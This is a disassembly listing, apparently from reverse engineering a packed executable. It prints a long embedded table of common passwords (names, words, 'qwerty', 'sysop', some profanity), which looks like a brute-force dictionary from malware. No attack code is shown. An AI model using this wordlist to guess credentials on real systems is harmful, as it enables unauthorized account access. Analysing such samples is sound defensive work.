aVisual db 'visual',0 ; DATA XREF: .nsp0:0042DBF8o
align 4
aVisitor db 'visitor',0 ; DATA XREF: .nsp0:0042DBF4o
aVirus db 'virus',0 ; DATA XREF: .nsp0:0042DBF0o
align 4
aVirginia db 'virginia',0 ; DATA XREF: .nsp0:0042DBECo
align 4
aVirgin db 'virgin',0 ; DATA XREF: .nsp0:0042DBE8o
align 10h
aVillage db 'village',0 ; DATA XREF: .nsp0:0042DBE4o
aVideogam db 'videogam',0 ; DATA XREF: .nsp0:0042DBE0o
align 4
aVideo db 'video',0 ; DATA XREF: .nsp0:0042DBDCo
align 4
aVictor db 'victor',0 ; DATA XREF: .nsp0:0042DBD8o
align 4
aVicky db 'vicky',0 ; DATA XREF: .nsp0:0042DBD4o
align 4
aVertigo db 'vertigo',0 ; DATA XREF: .nsp0:0042DBD0o
aVeronica db 'veronica',0 ; DATA XREF: .nsp0:0042DBCCo
align 10h
aVenus db 'venus',0 ; DATA XREF: .nsp0:0042DBC8o
align 4
aVasant db 'vasant',0 ; DATA XREF: .nsp0:0042DBC4o
align 10h
aVampire db 'vampire',0 ; DATA XREF: .nsp0:0042DBC0o
aValerie db 'valerie',0
aVagina db 'vagina',0
align 4
aUucp db 'uucp',0
align 10h
aUtility db 'utility',0
aUtil db 'util',0
align 10h
aUsmc db 'usmc',0
align 4
aUsername db 'username',0
align 4
aUsermane db 'usermane',0
align 10h
aUsenet db 'usenet',0
align 4
aUrsula db 'ursula',0
align 10h
aUrchin db 'urchin',0
align 4
aUranus db 'uranus',0
align 10h
aUpload db 'upload',0
align 4
aUnlock db 'unlock',0
align 10h
aUnknown_0 db 'unknown',0
aUniversi db 'universi',0
align 4
aUniverse db 'universe',0
align 10h
aUniversa db 'universa',0
align 4
aUniform db 'uniform',0
aUnicorn db 'unicorn',0
aUnhappy db 'unhappy',0
aUndo db 'undo',0
align 4
aUncle db 'uncle',0
align 4
aUmesh db 'umesh',0
align 4
aUgly db 'ugly',0
align 4
aTuttle db 'tuttle',0
align 4
aTurn db 'turn',0
align 4
aTuesday db 'tuesday',0
aTubas db 'tubas',0
align 4
aTruth db 'truth',0
align 4
aTrue db 'true',0
align 4
aTron db 'tron',0
align 4
aTrombone db 'trombone',0
align 4
aTrojan db 'trojan',0
align 10h
aTrivial db 'trivial',0
aTrisha db 'trisha',0
align 10h
aTrek db 'trek',0
align 4
aTree db 'tree',0
align 10h
aTrapdoor db 'trapdoor',0
align 4
aTrap db 'trap',0
align 4
aTransfer db 'transfer',0
align 10h
aTrails db 'trails',0
align 4
aTracy db 'tracy',0
align 10h
aTracie db 'tracie',0
align 4
aTraci db 'traci',0
align 10h
aToyota_0 db 'toyota',0 ; DATA XREF: .nsp0:0042E418o
align 4
aToxic db 'toxic',0
align 10h
aTortoise db 'tortoise',0
align 4
aTopograp db 'topograp',0
align 4
aTomato db 'tomato',0
align 10h
aTokenrin db 'tokenrin',0
align 4
aToken db 'token',0
align 4
aToggle db 'toggle',0
align 4
aToad db 'toad',0
align 4
aTits db 'tits',0
align 4
aTina db 'tina',0
align 4
aTime db 'time',0
align 4
aTiger db 'tiger',0 ; DATA XREF: .nsp0:0042E40Co
align 4
aTiffany db 'tiffany',0
aThursday db 'thursday',0
align 4
aThin db 'thin',0
align 10h
aTheresa db 'theresa',0
aThailand db 'thailand',0
align 4
aText db 'text',0
align 4
aTetris db 'tetris',0
align 4
aTess db 'tess',0
align 4
aTerminat db 'terminat',0
align 4
aTerminal db 'terminal',0
align 4
aTera db 'tera',0
align 4
aTennis db 'tennis',0
align 4
aTemptati db 'temptati',0
align 10h
aTelnet db 'telnet',0 ; DATA XREF: .nsp0:0042DAA0o
align 4
aTelephon db 'telephon',0 ; DATA XREF: .nsp0:0042DA9Co
align 4
aTeenage db 'teenage',0 ; DATA XREF: .nsp0:0042DA98o
aTeen db 'teen',0 ; DATA XREF: .nsp0:0042DA94o
align 4
aTech db 'tech',0 ; DATA XREF: .nsp0:0042DA90o
align 4
aTears db 'tears',0 ; DATA XREF: .nsp0:0042DA8Co
align 4
aTeapot db 'teapot',0 ; DATA XREF: .nsp0:0042DA88o
align 4
aTeam db 'team',0 ; DATA XREF: .nsp0:0042DA84o
align 4
aTaylor db 'taylor',0 ; DATA XREF: .nsp0:0042DA7Co
align 4
aTarragon db 'tarragon',0 ; DATA XREF: .nsp0:0042DA78o
align 4
aTarget db 'target',0 ; DATA XREF: .nsp0:0042DA74o
align 10h
aTara db 'tara',0 ; DATA XREF: .nsp0:0042DA70o
align 4
aTape db 'tape',0 ; DATA XREF: .nsp0:0042DA6Co
align 10h
aTango db 'tango',0 ; DATA XREF: .nsp0:0042DA68o
align 4
aTangerin db 'tangerin',0 ; DATA XREF: .nsp0:0042DA64o
align 4
aTammy db 'tammy',0 ; DATA XREF: .nsp0:0042DA60o
align 4
aTamie db 'tamie',0 ; DATA XREF: .nsp0:0042DA5Co
align 4
aTami db 'tami',0 ; DATA XREF: .nsp0:0042DA58o
align 4
aTamara db 'tamara',0 ; DATA XREF: .nsp0:0042DA54o
align 4
aTall db 'tall',0 ; DATA XREF: .nsp0:0042DA50o
align 4
aTalk db 'talk',0 ; DATA XREF: .nsp0:0042DA4Co
align 4
aTabasco db 'tabasco',0 ; DATA XREF: .nsp0:0042DA48o
aSysop db 'sysop',0 ; DATA XREF: .nsp0:0042DA44o
align 4
aSymmetry db 'symmetry',0 ; DATA XREF: .nsp0:0042DA3Co
align 10h
aSybil db 'sybil',0 ; DATA XREF: .nsp0:0042DA38o
align 4
aSword db 'sword',0 ; DATA XREF: .nsp0:0042DA34o
align 10h
aSwitch db 'switch',0 ; DATA XREF: .nsp0:0042DA30o
align 4
aSweat db 'sweat',0 ; DATA XREF: .nsp0:0042DA2Co
align 10h
aSwearer db 'swearer',0 ; DATA XREF: .nsp0:0042DA28o
aSuzie db 'suzie',0 ; DATA XREF: .nsp0:0042DA24o
align 10h
aSuzanne db 'suzanne',0 ; DATA XREF: .nsp0:0042DA20o
aSusie db 'susie',0 ; DATA XREF: .nsp0:0042DA1Co
align 10h
aSusanne db 'susanne',0 ; DATA XREF: .nsp0:0042DA18o
aSusan db 'susan',0 ; DATA XREF: .nsp0:0042DA14o
align 10h
aSurfing db 'surfing',0 ; DATA XREF: .nsp0:0042DA10o
aSurfer db 'surfer',0 ; DATA XREF: .nsp0:0042DA0Co
align 10h
aSupporte db 'supporte',0 ; DATA XREF: .nsp0:0042DA08o
align 4
aSupport db 'support',0 ; DATA XREF: .nsp0:0042DA04o
aSupervis db 'supervis',0 ; DATA XREF: .nsp0:0042DA00o
align 10h
aSuperuse db 'superuse',0 ; DATA XREF: .nsp0:0042D9FCo
align 4
aSupersta db 'supersta',0 ; DATA XREF: .nsp0:0042D9F8o
align 4
aSuperson db 'superson',0 ; DATA XREF: .nsp0:0042D9F4o
align 4
aSuperman db 'superman',0 ; DATA XREF: .nsp0:0042D9F0o
align 10h
aSunday db 'sunday',0 ; DATA XREF: .nsp0:004226E0o
; .nsp0:0042D9ECo
align 4
aSummer db 'summer',0 ; DATA XREF: .nsp0:0042D9E8o
align 10h
aSucks db 'sucks',0 ; DATA XREF: .nsp0:0042D9E4o
align 4
aSuckmydi db 'suckmydi',0 ; DATA XREF: .nsp0:0042D9E0o
align 4
aSuck db 'suck',0 ; DATA XREF: .nsp0:0042D9DCo
align 4
aSuccess db 'success',0 ; DATA XREF: .nsp0:0042D9D8o
aSubway db 'subway',0 ; DATA XREF: .nsp0:0042D9D4o
align 4
aSubscrib db 'subscrib',0 ; DATA XREF: .nsp0:0042D9D0o
align 4
aStuttgar db 'stuttgar',0 ; DATA XREF: .nsp0:0042D9CCo
; .nsp0:00425600o
align 4
aStrip db 'strip',0 ; DATA XREF: .nsp0:0042D9C4o
align 4
aString db 'string',0 ; DATA XREF: .nsp0:off_42549Co
; .nsp0:0042D9C0o
align 4
aStreetfi db 'streetfi',0 ; DATA XREF: .nsp0:0042D9BCo
align 10h
aStratfor db 'stratfor',0 ; DATA XREF: .nsp0:0042D9B8o
align 4
aStrangle db 'strangle',0 ; DATA XREF: .nsp0:0042D9B4o
align 4
aStrange db 'strange',0 ; DATA XREF: .nsp0:0042D9B0o
aStones db 'stones',0 ; DATA XREF: .nsp0:0042D9ACo
align 4
aStoned db 'stoned',0 ; DATA XREF: .nsp0:0042D9A8o
align 10h
aStoneage db 'stoneage',0 ; DATA XREF: .nsp0:0042D9A4o
align 4
aSteve db 'steve',0 ; DATA XREF: .nsp0:0042D9A0o
align 4
aStereo db 'stereo',0 ; DATA XREF: .nsp0:0042D99Co
align 4
aStephani db 'stephani',0 ; DATA XREF: .nsp0:0042D998o
align 4
aSteph db 'steph',0 ; DATA XREF: .nsp0:0042D994o
align 10h
aSteel db 'steel',0 ; DATA XREF: .nsp0:0042D990o
align 4
aSteal db 'steal',0 ; DATA XREF: .nsp0:0042D98Co
align 10h
aSteak db 'steak',0 ; DATA XREF: .nsp0:0042D988o
align 4
aStarwars db 'starwars',0 ; DATA XREF: .nsp0:0042D984o
align 4
aStartup db 'startup',0 ; DATA XREF: .nsp0:0042D980o
aStartrek db 'startrek',0 ; DATA XREF: .nsp0:0042D97Co
align 4
aStart db 'start',0 ; DATA XREF: sub_40CE55+1EF2o
; .nsp0:0042D978o
align 10h
aStarship db 'starship',0 ; DATA XREF: .nsp0:0042D974o
align 4
aStar db 'star',0 ; DATA XREF: .nsp0:0042D970o
align 4
aStacy db 'stacy',0 ; DATA XREF: .nsp0:0042D96Co
align 4
aStacie db 'stacie',0 ; DATA XREF: .nsp0:0042D968o
align 4
aStaci db 'staci',0 ; DATA XREF: .nsp0:0042D964o
align 4
aStacey db 'stacey',0 ; DATA XREF: .nsp0:0042D960o
align 4
aSr71 db 'sr71',0 ; DATA XREF: .nsp0:0042D95Co
align 4
aSquires db 'squires',0 ; DATA XREF: .nsp0:0042D958o
aSpunk db 'spunk',0 ; DATA XREF: .nsp0:0042D954o
align 4
aSpringer db 'springer',0 ; DATA XREF: .nsp0:0042D950o
align 4
aSpring db 'spring',0 ; DATA XREF: .nsp0:0042D94Co
align 10h
aSpred db 'spred',0 ; DATA XREF: .nsp0:0042D948o
align 4
aSpit db 'spit',0 ; DATA XREF: .nsp0:0042D944o
align 10h
aSpiderma db 'spiderma',0 ; DATA XREF: .nsp0:0042D940o
align 4
aSpider db 'spider',0 ; DATA XREF: .nsp0:0042D93Co
align 4
aSpice db 'spice',0 ; DATA XREF: .nsp0:0042D938o
align 4
aSpell db 'spell',0 ; DATA XREF: .nsp0:0042D934o
align 4
aSpear db 'spear',0 ; DATA XREF: .nsp0:0042D930o
align 4
aSparrows db 'sparrows',0 ; DATA XREF: .nsp0:0042D92Co
align 4
aSpaceshi db 'spaceshi',0 ; DATA XREF: .nsp0:0042D928o
align 4
aSouth db 'south',0 ; DATA XREF: .nsp0:0042D924o
align 4
aSource db 'source',0 ; DATA XREF: .nsp0:0042D920o
align 4
aSossina db 'sossina',0 ; DATA XREF: .nsp0:0042D91Co
aSonya db 'sonya',0 ; DATA XREF: .nsp0:0042D918o
align 4
aSonic db 'sonic',0 ; DATA XREF: .nsp0:0042D914o
align 4
aSonia db 'sonia',0 ; DATA XREF: .nsp0:0042D910o
align 4
aSondra db 'sondra',0 ; DATA XREF: .nsp0:0042D90Co
align 4
aSomebody db 'somebody',0 ; DATA XREF: .nsp0:0042D908o
align 4
aSoftware db 'software',0 ; DATA XREF: .nsp0:0042D904o
align 4
aSoft db 'soft',0 ; DATA XREF: .nsp0:0042D900o
align 4
aSodomy db 'sodomy',0 ; DATA XREF: .nsp0:0042D8FCo
align 4
aSocrates db 'socrates',0 ; DATA XREF: .nsp0:0042D8F8o
align 10h
aSocial db 'social',0 ; DATA XREF: .nsp0:0042D8F4o
align 4
aSoap db 'soap',0 ; DATA XREF: .nsp0:0042D8F0o
align 10h
aSnoopy db 'snoopy',0 ; DATA XREF: .nsp0:0042D8ECo
align 4
aSnatch db 'snatch',0 ; DATA XREF: .nsp0:0042D8E8o
align 10h
aSnake db 'snake',0 ; DATA XREF: .nsp0:0042D8E4o
align 4
aSnafu db 'snafu',0 ; DATA XREF: .nsp0:0042D8E0o
align 10h
aSnach db 'snach',0 ; DATA XREF: .nsp0:0042D8DCo
align 4
aSmut db 'smut',0 ; DATA XREF: .nsp0:0042D8D8o
align 10h
aSmtp db 'smtp',0 ; DATA XREF: .nsp0:0042D8D4o
align 4
aSmother db 'smother',0 ; DATA XREF: .nsp0:0042D8D0o
aSmooch db 'smooch',0 ; DATA XREF: .nsp0:0042D8CCo
align 4
aSmiles db 'smiles',0 ; DATA XREF: .nsp0:0042D8C8o
align 10h
aSmile db 'smile',0 ; DATA XREF: .nsp0:0042D8C4o
align 4
aSmart db 'smart',0 ; DATA XREF: .nsp0:0042D8C0o
align 10h
aSmall db 'small',0 ; DATA XREF: .nsp0:0042D8BCo
align 4
aSlut db 'slut',0 ; DATA XREF: .nsp0:0042D8B8o
align 10h
aSlow db 'slow',0 ; DATA XREF: .nsp0:0042D8B4o
align 4
aSliders db 'sliders',0 ; DATA XREF: .nsp0:0042D8B0o
aSlick db 'slick',0 ; DATA XREF: .nsp0:0042D8ACo
align 4
aSlave db 'slave',0 ; DATA XREF: .nsp0:0042D8A8o
align 10h
aSkull db 'skull',0 ; DATA XREF: .nsp0:0042D8A4o
align 4
aSite db 'site',0 ; DATA XREF: .nsp0:0042D8A0o
align 10h
aSingle db 'single',0 ; DATA XREF: .nsp0:0042D89Co
align 4
aSinger db 'singer',0 ; DATA XREF: .nsp0:0042D898o
align 10h
aSimulati db 'simulati',0 ; DATA XREF: .nsp0:0042D894o
align 4
aSimpsons db 'simpsons',0 ; DATA XREF: .nsp0:0042D890o
align 4
aSimple db 'simple',0 ; DATA XREF: .nsp0:0042D88Co
align 10h
aSimon db 'simon',0 ; DATA XREF: .nsp0:0042D888o
align 4
aSimcity db 'simcity',0 ; DATA XREF: .nsp0:0042D884o
aSilver db 'silver',0 ; DATA XREF: .nsp0:0042D880o
align 4
aSignatur db 'signatur',0 ; DATA XREF: .nsp0:0042D87Co
align 4
aSierra db 'sierra',0 ; DATA XREF: .nsp0:0042D878o
align 4
aSick db 'sick',0 ; DATA XREF: .nsp0:0042D874o
align 4
aShuttle db 'shuttle',0 ; DATA XREF: .nsp0:0042D870o
aShort db 'short',0 ; DATA XREF: .nsp0:0042D86Co
align 4
aShivers db 'shivers',0 ; DATA XREF: .nsp0:0042D868o
aShiva db 'shiva',0 ; DATA XREF: .nsp0:0042D864o
align 4
aShitpot db 'shitpot',0 ; DATA XREF: .nsp0:0042D860o
aShit db 'shit',0 ; DATA XREF: .nsp0:0042D85Co
align 4
aShirley db 'shirley',0 ; DATA XREF: .nsp0:0042D858o
aShift db 'shift',0 ; DATA XREF: .nsp0:0042D854o
align 4
aSherri db 'sherri',0 ; DATA XREF: .nsp0:0042D850o
align 4
aShell db 'shell',0 ; DATA XREF: .nsp0:0042D84Co
align 4
aSheldon db 'sheldon',0 ; DATA XREF: .nsp0:0042D848o
aSheffiel db 'sheffiel',0 ; DATA XREF: .nsp0:0042D844o
align 4
aSharon db 'sharon',0 ; DATA XREF: .nsp0:0042D840o
align 10h
aSharks db 'sharks',0 ; DATA XREF: .nsp0:0042D83Co
align 4
aShark db 'shark',0 ; DATA XREF: .nsp0:0042D838o
align 10h
aSharc db 'sharc',0 ; DATA XREF: .nsp0:0042D834o
align 4
aShannon db 'shannon',0 ; DATA XREF: .nsp0:0042D830o
aSexy db 'sexy',0 ; DATA XREF: .nsp0:0042D82Co
align 4
aSesame db 'sesame',0 ; DATA XREF: .nsp0:0042D828o
align 10h
aService db 'service',0 ; DATA XREF: .nsp0:0042D824o
; .nsp0:0042E3ECo
aSerial_0 db 'serial',0 ; DATA XREF: .nsp0:0042D820o
align 10h
aSerenity db 'serenity',0 ; DATA XREF: .nsp0:0042D81Co
align 4
aSentry db 'sentry',0 ; DATA XREF: .nsp0:0042D818o
align 4
aSentinel db 'sentinel',0 ; DATA XREF: .nsp0:0042D814o
align 10h
aSensor db 'sensor',0 ; DATA XREF: .nsp0:0042D810o
align 4
aSega db 'sega',0 ; DATA XREF: .nsp0:0042D80Co
align 10h
aSeed db 'seed',0 ; DATA XREF: .nsp0:0042D808o
align 4
aSecurity db 'security',0 ; DATA XREF: .nsp0:0042D804o
align 4
aSearch db 'search',0 ; DATA XREF: .nsp0:0042D800o
align 4
aScout db 'scout',0 ; DATA XREF: .nsp0:0042D7FCo
align 4
aScotty db 'scotty',0 ; DATA XREF: .nsp0:0042D7F8o
align 4
aScott db 'scott',0 ; DATA XREF: .nsp0:0042D7F4o
align 4
aScorpion db 'scorpion',0 ; DATA XREF: .nsp0:0042D7F0o
align 10h
aScifi db 'scifi',0 ; DATA XREF: .nsp0:0042D7ECo
align 4
aSchoolsucks db 'schoolsucks',0 ; DATA XREF: .nsp0:0042D7E8o
aSchool db 'school',0 ; DATA XREF: .nsp0:0042D7E4o
align 4
aScheme db 'scheme',0 ; DATA XREF: .nsp0:0042D7E0o
align 4
aScamper db 'scamper',0 ; DATA XREF: .nsp0:0042D7DCo
aSaxon db 'saxon',0 ; DATA XREF: .nsp0:0042D7D8o
align 4
aSaturn db 'saturn',0 ; DATA XREF: .nsp0:0042D7D4o
align 4
aSaturday db 'saturday',0 ; DATA XREF: .nsp0:0042D7D0o
align 4
aSarah db 'sarah',0 ; DATA XREF: .nsp0:0042D7CCo
align 10h
aSara db 'sara',0 ; DATA XREF: .nsp0:0042D7C8o
align 4
aSandy db 'sandy',0 ; DATA XREF: .nsp0:0042D7C4o
align 10h
aSandra db 'sandra',0 ; DATA XREF: .nsp0:0042D7C0o
align 4
aSample db 'sample',0 ; DATA XREF: .nsp0:0042D7BCo
align 10h
aSamantha db 'samantha',0 ; DATA XREF: .nsp0:0042D7B8o
align 4
aSalt db 'salt',0 ; DATA XREF: .nsp0:0042D7B4o
align 4
aSale db 'sale',0 ; DATA XREF: .nsp0:0042D7B0o
align 4
aSalami db 'salami',0 ; DATA XREF: .nsp0:0042D7ACo
align 4
aSafe db 'safe',0 ; DATA XREF: .nsp0:0042D7A8o
align 4
aRuth db 'ruth',0 ; DATA XREF: .nsp0:0042D7A4o
align 4
aRush db 'rush',0 ; DATA XREF: .nsp0:0042D7A0o
align 4
aRunning db 'running',0 ; DATA XREF: .nsp0:0042D79Co
aRules db 'rules',0 ; DATA XREF: .nsp0:0042D798o
align 4
aRude db 'rude',0 ; DATA XREF: .nsp0:0042D794o
align 4
aRuby db 'ruby',0 ; DATA XREF: .nsp0:0042D790o
align 4
aRuben db 'ruben',0 ; DATA XREF: .nsp0:0042D78Co
align 4
aRubber db 'rubber',0 ; DATA XREF: .nsp0:0042D788o
align 4
aRough db 'rough',0 ; DATA XREF: .nsp0:0042D784o
align 4
aRoses db 'roses',0 ; DATA XREF: .nsp0:0042D780o
align 4
aRosemary db 'rosemary',0 ; DATA XREF: .nsp0:0042D77Co
align 4
aRosebud db 'rosebud',0 ; DATA XREF: .nsp0:0042D778o
aRose db 'rose',0 ; DATA XREF: .nsp0:0042D774o
align 4
aRonald db 'ronald',0 ; DATA XREF: .nsp0:0042D770o
align 10h
aRomulan db 'romulan',0 ; DATA XREF: .nsp0:0042D76Co
aRomeo db 'romeo',0 ; DATA XREF: .nsp0:0042D768o
align 10h
aRomano db 'romano',0 ; DATA XREF: .nsp0:0042D764o
align 4
aRolex db 'rolex',0 ; DATA XREF: .nsp0:0042D760o
align 10h
aRodent db 'rodent',0 ; DATA XREF: .nsp0:0042D75Co
align 4
aRockyhor db 'rockyhor',0 ; DATA XREF: .nsp0:0042D758o
align 4
aRocky db 'rocky',0 ; DATA XREF: .nsp0:0042D754o
align 4
aRock db 'rock',0 ; DATA XREF: .nsp0:0042D750o
align 4
aRocheste db 'rocheste',0 ; DATA XREF: .nsp0:0042D74Co
align 10h
aRochelle db 'rochelle',0 ; DATA XREF: .nsp0:0042D748o
align 4
aRobyn db 'robyn',0 ; DATA XREF: .nsp0:0042D744o
align 4
aRobotics db 'robotics',0 ; DATA XREF: .nsp0:0042D740o
align 10h
aRobot db 'robot',0 ; DATA XREF: .nsp0:0042D73Co
align 4
aRobin db 'robin',0 ; DATA XREF: .nsp0:0042D738o
align 10h
aRobert db 'robert',0 ; DATA XREF: .nsp0:0042D734o
align 4
aRoach db 'roach',0 ; DATA XREF: .nsp0:0042D730o
align 10h
aRisc db 'risc',0 ; DATA XREF: .nsp0:0042D72Co
align 4
aRipple db 'ripple',0 ; DATA XREF: .nsp0:0042D728o
align 10h
aRiot db 'riot',0 ; DATA XREF: .nsp0:0042D724o
align 4
aRing db 'ring',0 ; DATA XREF: .nsp0:0042D720o
align 10h
aRightwin db 'rightwin',0 ; DATA XREF: .nsp0:0042D71Co
align 4
aRight db 'right',0 ; DATA XREF: .nsp0:0042D718o
align 4
aRiffraff db 'riffraff',0 ; DATA XREF: .nsp0:0042D714o
align 10h
aRick db 'rick',0 ; DATA XREF: .nsp0:0042D710o
align 4
aRich db 'rich',0 ; DATA XREF: .nsp0:0042D70Co
align 10h
aRhino db 'rhino',0 ; DATA XREF: .nsp0:0042D708o
align 4
aReveal db 'reveal',0 ; DATA XREF: .nsp0:0042D704o
align 10h
aResistan db 'resistan',0 ; DATA XREF: .nsp0:0042D700o
align 4
aRepublic db 'republic',0 ; DATA XREF: .nsp0:0042D6FCo
align 4
aReport db 'report',0 ; DATA XREF: .nsp0:0042D6F8o
align 10h
aRent db 'rent',0 ; DATA XREF: .nsp0:0042D6F4o
align 4
aReno db 'reno',0 ; DATA XREF: .nsp0:0042D6F0o
align 10h
aRenee db 'renee',0 ; DATA XREF: .nsp0:0042D6ECo
align 4
aRemote db 'remote',0 ; DATA XREF: .nsp0:0042D6E8o
align 10h
aRelease db 'release',0 ; DATA XREF: .nsp0:0042D6E4o
aRegional db 'regional',0 ; DATA XREF: .nsp0:0042D6E0o
align 4
aReferenc db 'referenc',0 ; DATA XREF: .nsp0:0042D6DCo
align 10h
aRedhead db 'redhead',0 ; DATA XREF: .nsp0:0042D6D8o
aReddawn db 'reddawn',0 ; DATA XREF: .nsp0:0042D6D4o
aRecord db 'record',0 ; DATA XREF: .nsp0:0042D6D0o
align 4
aRebel db 'rebel',0 ; DATA XREF: .nsp0:0042D6CCo
align 10h
aRebecca db 'rebecca',0 ; DATA XREF: .nsp0:0042D6C8o
aRebal db 'rebal',0 ; DATA XREF: .nsp0:0042D6C4o
align 10h
aReaper db 'reaper',0 ; DATA XREF: .nsp0:0042D6C0o
align 4
aReam db 'ream',0 ; DATA XREF: .nsp0:0042D6BCo
align 10h
aReally db 'really',0 ; DATA XREF: .nsp0:0042D6B8o
align 4
aReality db 'reality',0 ; DATA XREF: .nsp0:0042D6B4o
aReagan db 'reagan',0 ; DATA XREF: .nsp0:0042D6B0o
align 4
aRazor db 'razor',0 ; DATA XREF: .nsp0:0042D6ACo
align 10h
aRascal db 'rascal',0 ; DATA XREF: .nsp0:0042D6A8o
align 4
aRape db 'rape',0 ; DATA XREF: .nsp0:0042D6A4o
align 10h
aRaleigh db 'raleigh',0 ; DATA XREF: .nsp0:0042D69Co
aRaindrop db 'raindrop',0 ; DATA XREF: .nsp0:0042D698o
align 4
aRainbow db 'rainbow',0 ; DATA XREF: .nsp0:0042D694o
aRain db 'rain',0 ; DATA XREF: .nsp0:0042D690o
align 4
aRaid db 'raid',0 ; DATA XREF: .nsp0:0042D68Co
align 4
aRachmani db 'rachmani',0 ; DATA XREF: .nsp0:0042D688o
align 4
aRachelle db 'rachelle',0 ; DATA XREF: .nsp0:0042D684o
align 4
aRachel db 'rachel',0 ; DATA XREF: .nsp0:0042D680o
align 4
aRabbit db 'rabbit',0 ; DATA XREF: .nsp0:0042D67Co
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .nsp0:0042D678o
; .nsp0:0042E3D0o
align 4
aQwert db 'qwert',0 ; DATA XREF: .nsp0:0042D674o
; .nsp0:0042E3CCo
align 4
aQuebec db 'quebec',0 ; DATA XREF: .nsp0:0042D670o
align 4
aPussy db 'pussy',0 ; DATA XREF: .nsp0:0042D66Co
align 4
aPuppet db 'puppet',0 ; DATA XREF: .nsp0:0042D668o
align 4
aPunk db 'punk',0 ; DATA XREF: .nsp0:0042D664o
align 4
aPunisher db 'punisher',0 ; DATA XREF: .nsp0:0042D660o
align 10h
aPuneet db 'puneet',0 ; DATA XREF: .nsp0:0042D65Co
align 4
aPumpkin db 'pumpkin',0 ; DATA XREF: .nsp0:0042D658o
aPuke db 'puke',0 ; DATA XREF: .nsp0:0042D654o
align 4
aPuck db 'puck',0 ; DATA XREF: .nsp0:0042D650o
align 10h
aPublic db 'public',0 ; DATA XREF: .nsp0:0042D64Co
align 4
aPsychopa db 'psychopa',0 ; DATA XREF: .nsp0:0042D648o
align 4
aPsycho db 'psycho',0 ; DATA XREF: .nsp0:0042D644o
align 4
aProtozoa db 'protozoa',0 ; DATA XREF: .nsp0:0042D640o
align 4
aProtect db 'protect',0 ; DATA XREF: .nsp0:0042D63Co
aPrompt db 'prompt',0 ; DATA XREF: .nsp0:0042D638o
align 4
aProgram db 'program',0 ; DATA XREF: .nsp0:0042D634o
aProfile db 'profile',0 ; DATA XREF: .nsp0:0042D630o
aProfesso db 'professo',0 ; DATA XREF: .nsp0:0042D62Co
align 4
aProcesso db 'processo',0 ; DATA XREF: .nsp0:0042D628o
align 10h
aProceed db 'proceed',0 ; DATA XREF: .nsp0:0042D624o
aPrivs db 'privs',0 ; DATA XREF: .nsp0:0042D620o
align 10h
aPrivate db 'private',0 ; DATA XREF: .nsp0:0042D61Co
aPriv db 'priv',0 ; DATA XREF: .nsp0:0042D618o
align 10h
aPrinter db 'printer',0 ; DATA XREF: .nsp0:0042D614o
aPrinceto db 'princeto',0 ; DATA XREF: .nsp0:0042D610o
align 4
aPrince db 'prince',0 ; DATA XREF: .nsp0:0042D60Co
align 4
aPresto db 'presto',0 ; DATA XREF: .nsp0:0042D608o
align 4
aPrelude db 'prelude',0 ; DATA XREF: .nsp0:0042D604o
aPrecious db 'precious',0 ; DATA XREF: .nsp0:0042D600o
align 4
aPraise db 'praise',0 ; DATA XREF: .nsp0:0042D5FCo
align 10h
aPower db 'power',0 ; DATA XREF: .nsp0:0042D5F8o
align 4
aPoster db 'poster',0 ; DATA XREF: .nsp0:0042D5F4o
align 10h
aPost db 'post',0 ; DATA XREF: .nsp0:0042D5F0o
align 4
aPorsche db 'porsche',0 ; DATA XREF: .nsp0:0042D5ECo
aPorno db 'porno',0 ; DATA XREF: .nsp0:0042D5E8o
align 4
aPorn db 'porn',0 ; DATA XREF: .nsp0:0042D5E4o
align 10h
aPork db 'pork',0 ; DATA XREF: .nsp0:0042D5E0o
align 4
aPoor db 'poor',0 ; DATA XREF: .nsp0:0042D5DCo
align 10h
aPoop db 'poop',0 ; DATA XREF: .nsp0:0042D5D8o
align 4
aPonderin db 'ponderin',0 ; DATA XREF: .nsp0:0042D5D4o
align 4
aPolynomi db 'polynomi',0 ; DATA XREF: .nsp0:0042D5D0o
align 10h
aPolly db 'polly',0 ; DATA XREF: .nsp0:0042D5CCo
align 4
aPolice db 'police',0 ; DATA XREF: .nsp0:0042D5C8o
align 10h
aPoetry db 'poetry',0 ; DATA XREF: .nsp0:0042D5C4o
align 4
aPlymouth db 'plymouth',0 ; DATA XREF: .nsp0:0042D5C0o
align 4
aPluto db 'pluto',0 ; DATA XREF: .nsp0:0042D5BCo
align 4
aPlover db 'plover',0 ; DATA XREF: .nsp0:0042D5B8o
align 4
aPlayboy db 'playboy',0 ; DATA XREF: .nsp0:0042D5B4o
aPlane db 'plane',0 ; DATA XREF: .nsp0:0042D5B0o
align 4
aPizza db 'pizza',0 ; DATA XREF: .nsp0:0042D5ACo
align 4
aPiss db 'piss',0 ; DATA XREF: .nsp0:0042D5A8o
align 4
aPinname db 'pinname',0 ; DATA XREF: .nsp0:0042D5A4o
aPimp db 'pimp',0 ; DATA XREF: .nsp0:0042D5A0o
align 4
aPierre db 'pierre',0 ; DATA XREF: .nsp0:0042D59Co
align 4
aPick db 'pick',0 ; DATA XREF: .nsp0:0042D598o
align 4
aPhuck db 'phuck',0 ; DATA XREF: .nsp0:0042D594o
align 4
aPhreak db 'phreak',0 ; DATA XREF: .nsp0:0042D590o
align 4
aPhrase db 'phrase',0 ; DATA XREF: .nsp0:0042D58Co
align 4
aPhrack db 'phrack',0 ; DATA XREF: .nsp0:0042D588o
align 4
aPhoton db 'photon',0 ; DATA XREF: .nsp0:0042D584o
align 4
aPhone db 'phone',0 ; DATA XREF: .nsp0:0042D580o
align 4
aPhoenix db 'phoenix',0 ; DATA XREF: .nsp0:0042D57Co
aPhilip db 'philip',0 ; DATA XREF: .nsp0:0042D578o
align 4
aPhil db 'phil',0 ; DATA XREF: .nsp0:0042D574o
align 4
aPeter db 'peter',0 ; DATA XREF: .nsp0:0042D570o
align 4
aPete db 'pete',0 ; DATA XREF: .nsp0:0042D56Co
align 4
aPervert db 'pervert',0 ; DATA XREF: .nsp0:0042D568o
aPersona db 'persona',0 ; DATA XREF: .nsp0:0042D564o
aPersimmo db 'persimmo',0 ; DATA XREF: .nsp0:0042D560o
align 4
aPermit db 'permit',0 ; DATA XREF: .nsp0:0042D55Co
align 10h
aPerfect db 'perfect',0 ; DATA XREF: .nsp0:0042D558o
aPercolat db 'percolat',0 ; DATA XREF: .nsp0:0042D554o
align 4
aPepper db 'pepper',0 ; DATA XREF: .nsp0:0042D550o
align 4
aPeoria db 'peoria',0 ; DATA XREF: .nsp0:0042D54Co
align 4
aPentium db 'pentium',0 ; DATA XREF: .nsp0:0042D548o
